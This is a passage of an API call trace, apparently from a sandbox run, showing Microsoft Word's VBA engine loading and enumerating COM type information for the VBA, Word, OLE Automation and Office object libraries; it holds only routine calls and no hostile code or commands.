ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xed, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xee, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xef, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf0, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.898] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf1, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.898] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.899] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf2, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.899] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.899] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf3, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.899] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.899] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf4, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.899] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.899] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf5, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.899] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.899] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf6, ppFuncDesc=0x2668f8, pDummy=0x460 | out: ppFuncDesc=0x2668f8, pDummy=0x460) returned 0x0 [0036.899] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.899] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf7, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.899] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.899] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf8, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.899] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.899] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x266928 | out: pVarVal=0x266928*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.899] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.899] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x266920, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x266830, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.899] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.899] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2668d0 | out: ppvObject=0x2668d0*=0x0) returned 0x80004002 [0036.899] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x2668f8, pDummy=0x10 | out: ppTypeAttr=0x2668f8, pDummy=0x10) returned 0x0 [0036.899] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.899] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.899] IUnknown:Release (This=0x8087e90) returned 0x3 [0036.899] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.899] IUnknown:AddRef (This=0x8087e90) returned 0x4 [0036.899] IUnknown:Release (This=0x8087e90) returned 0x3 [0036.899] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.900] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087d30, ppTypeAttr=0x266bf8, pDummy=0x81e7bc0 | out: ppTypeAttr=0x266bf8, pDummy=0x81e7bc0*=0x7) returned 0x0 [0036.900] ITypeInfo:LocalReleaseTypeAttr (This=0x8087d30) returned 0x0 [0036.900] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.900] CoCreateGuid (in: pguid=0x266db0 | out: pguid=0x266db0*(Data1=0x75d5cad, Data2=0x7288, Data3=0x479e, Data4=([0]=0xad, [1]=0x3a, [2]=0x47, [3]=0x58, [4]=0x8d, [5]=0xd2, [6]=0x37, [7]=0x1c))) returned 0x0 [0036.900] CoCreateGuid (in: pguid=0x266db0 | out: pguid=0x266db0*(Data1=0xbeeb1e90, Data2=0xa9d7, Data3=0x4ecd, Data4=([0]=0xbd, [1]=0xa5, [2]=0x3, [3]=0x82, [4]=0x53, [5]=0x3b, [6]=0xef, [7]=0xdc))) returned 0x0 [0036.900] IMalloc:Alloc (This=0x7feff045380, cb=0x14) returned 0x7f10e50 [0036.900] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.900] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266ee8 | out: ppvObject=0x266ee8*=0x0) returned 0x80004002 [0036.900] IUnknown:Release (This=0x8087e90) returned 0x3 [0036.900] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266ee8 | out: ppvObject=0x266ee8*=0x0) returned 0x80004002 [0036.900] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.900] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266ee8 | out: ppvObject=0x266ee8*=0x0) returned 0x80004002 [0036.900] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819c060 [0036.900] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x810ac50 [0036.900] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x810aad0 [0036.900] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x815fbe0 [0036.900] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x815fe30 [0036.900] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266ee8 | out: ppvObject=0x266ee8*=0x0) returned 0x80004002 [0036.900] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266ee8 | out: ppvObject=0x266ee8*=0x0) returned 0x80004002 [0036.900] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266ee8 | out: ppvObject=0x266ee8*=0x0) returned 0x80004002 [0036.900] IMalloc:Alloc (This=0x7feff045380, cb=0x50) returned 0x805f1d0 [0036.900] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0036.900] IUnknown:AddRef (This=0x7f8b790) returned 0x4 [0036.900] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x266418, pDummy=0x0 | out: ppTLibAttr=0x266418, pDummy=0x0) returned 0x0 [0036.900] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b790, index=-1, refPtrFlags=0x266430, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.900] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f07080 [0036.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0x2664a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 66 [0036.901] strcpy_s (in: _Dst=0x815def0, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0036.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x2665b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0036.901] strcpy_s (in: _Dst=0x815df40, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0036.901] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f074d0 [0036.901] IUnknown:AddRef (This=0x7f8b790) returned 0x5 [0036.901] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0036.901] IUnknown:Release (This=0x7f8b790) returned 0x4 [0036.901] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5 [0036.901] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0036.901] IUnknown:AddRef (This=0x7f887c0) returned 0xa [0036.901] ITypeLib:RemoteGetLibAttr (in: This=0x7f887c0, ppTLibAttr=0x266418, pDummy=0x0 | out: ppTLibAttr=0x266418, pDummy=0x0) returned 0x0 [0036.901] ITypeLib:RemoteGetDocumentation (in: This=0x7f887c0, index=-1, refPtrFlags=0x266430, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0x2664a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLBVBE7.DLL", lpUsedDefaultChar=0x0) returned 58 [0036.901] strcpy_s (in: _Dst=0x815dfb0, _DstSize=0x3b, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0036.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x2665b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0036.901] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8160080 [0036.901] strcpy_s (in: _Dst=0x81600a8, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0036.901] IUnknown:AddRef (This=0x7f887c0) returned 0xb [0036.901] ITypeLib:LocalReleaseTLibAttr (This=0x7f887c0) returned 0x0 [0036.901] IUnknown:Release (This=0x7f887c0) returned 0xa [0036.901] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0036.902] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5 [0036.902] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0036.902] IUnknown:AddRef (This=0x7f8b1f0) returned 0x5 [0036.902] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b1f0, ppTLibAttr=0x266418, pDummy=0x0 | out: ppTLibAttr=0x266418, pDummy=0x0) returned 0x0 [0036.902] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b1f0, index=-1, refPtrFlags=0x266430, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x2664a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlbce\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31 [0036.902] strcpy_s (in: _Dst=0x8160118, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0036.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x2665b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0036.902] strcpy_s (in: _Dst=0x8160140, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0036.902] IUnknown:AddRef (This=0x7f8b1f0) returned 0x6 [0036.902] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b1f0) returned 0x0 [0036.902] IUnknown:Release (This=0x7f8b1f0) returned 0x5 [0036.902] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0036.903] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2 [0036.903] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 2 [0036.903] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0036.903] IUnknown:AddRef (This=0x81c0d20) returned 0x2 [0036.903] ITypeLib:RemoteGetLibAttr (in: This=0x81c0d20, ppTLibAttr=0x266418, pDummy=0x0 | out: ppTLibAttr=0x266418, pDummy=0x0) returned 0x0 [0036.903] ITypeLib:RemoteGetDocumentation (in: This=0x81c0d20, index=-1, refPtrFlags=0x266430, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x2664a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63 [0036.903] strcpy_s (in: _Dst=0x81601b0, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0036.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x2665b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0036.904] strcpy_s (in: _Dst=0x81601f8, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0036.904] IUnknown:AddRef (This=0x81c0d20) returned 0x3 [0036.904] ITypeLib:LocalReleaseTLibAttr (This=0x81c0d20) returned 0x0 [0036.904] IUnknown:Release (This=0x81c0d20) returned 0x2 [0036.904] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266060 | out: ppvObject=0x266060*=0x0) returned 0x80004002 [0036.904] IUnknown:AddRef (This=0x8087de0) returned 0x3 [0036.904] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x266078, pDummy=0x10 | out: ppTypeAttr=0x266078, pDummy=0x10) returned 0x0 [0036.904] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.904] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.904] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.904] IMalloc:Alloc (This=0x7feff045380, cb=0x118) returned 0x8270b80 [0036.904] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x81602d0 [0036.904] IMalloc:Alloc (This=0x7feff045380, cb=0xe28) returned 0x8272b50 [0036.904] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x266058, pDummy=0x266094 | out: ppTypeAttr=0x266058, pDummy=0x266094*=0xffffffff) returned 0x0 [0036.904] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x0, ppFuncDesc=0x266050, pDummy=0x266098 | out: ppFuncDesc=0x266050, pDummy=0x266098*=0x8087e90) returned 0x0 [0036.904] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.904] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x1, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.904] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.904] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x2, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.904] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.904] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x3, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.904] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x4, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x5, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x6, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x7, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x8, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x9, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xa, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xb, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0xc, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x266058, pDummy=0x266094 | out: ppTypeAttr=0x266058, pDummy=0x266094*=0xffffffff) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x0, ppFuncDesc=0x266050, pDummy=0x80 | out: ppFuncDesc=0x266050, pDummy=0x80) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x1, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x2, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x3, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x4, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x5, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x6, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087e90, index=0x7, ppFuncDesc=0x266050, pDummy=0xd0 | out: ppFuncDesc=0x266050, pDummy=0xd0) returned 0x0 [0036.905] ITypeInfo:LocalReleaseFuncDesc (This=0x8087e90) returned 0x0 [0036.905] 